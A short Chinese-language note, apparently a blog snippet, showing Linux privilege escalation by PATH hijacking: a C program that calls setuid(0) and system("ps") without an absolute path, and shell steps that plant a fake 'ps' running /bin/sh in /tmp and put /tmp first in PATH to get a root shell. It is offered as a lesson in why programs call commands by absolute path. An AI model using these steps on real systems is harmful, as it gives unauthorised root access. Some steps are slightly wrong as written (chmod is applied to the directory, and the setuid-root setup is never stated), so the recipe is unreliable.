0x01

这也是为什么在写程序的时候要写绝对路径的原因
在Linux中使用环境变量进行提权

0x02

  1. int main(){
  2. setuid(0);
  3. setgid(0);
  4. system("ps");
  5. }

编译成shell, 然后

  1. echo "/bin/sh" > ps
  2. cp ps /tmp/.
  3. chmod 777 /tmp/.
  4. export PATH=/tmp:$PATH
  5. ./shell

就可以拿到root权限